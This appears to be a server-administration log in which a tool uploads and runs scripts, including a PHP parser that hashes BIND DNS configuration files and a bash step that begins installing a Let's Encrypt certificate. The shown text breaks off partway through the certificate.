MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 22:43:39: Establishing a connection
2026-05-13 22:43:52: Establishing a connection
2026-05-13 22:43:52: 

PUT: /tmp/pkp439012

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 22:43:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp439012; rm /tmp/pkp439012'

2026-05-13 22:43:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-14 06:00:02: Establishing a connection
2026-05-14 06:00:04: Establishing a connection
2026-05-14 06:00:05: 

PUT: /tmp/pkp357793

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:00:06: 

chmod 755 /tmp/pkp357793; /tmp/pkp357793; rm /tmp/pkp357793

2026-05-14 06:00:06: 


0


2026-05-14 06:00:44: Establishing a connection
2026-05-14 06:00:45: 

PUT: /tmp/pkp751622

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
0a:66:a5:fb:4b:ad:ce:a3:8a:01:f7:9a:ff:a7:72:2e

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBQULGkIdK93ABiy4KwJwJnJ1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMjEzWhcNMjYwODEyMDUwMjEyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApiF/W6k7xjKlJ7di9Jw1LkAS8lhvwe3G+f2qBGPzSYtDPjBk
G6H2wnakEoVlrzhdLku2cw3N8wR+oOi5xKcP/qnMe0CeBMUxt4f8I8AiMXPf2HpH
XIxK5n+XogoNFJx2tnoX9XM54q1OzVKDUdFm3qzLUfzbJ5gvAuhfyq3WWngLmpdS
bVUwdDLmQLQoB8q63ksHzhfF9x8OZwiHqrnQa8bLYyw/yaeLuL6vxfBADzG9QnRg
cnALjyeTfm7sRw7TVqZ3l5pdbigalVHcVa2alm2c8MnnHzzhK2/DW+7euUuTDkpc
Ab42n1CKmc49CNEO8+FbbUMb31+xQ05gHCuIYwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
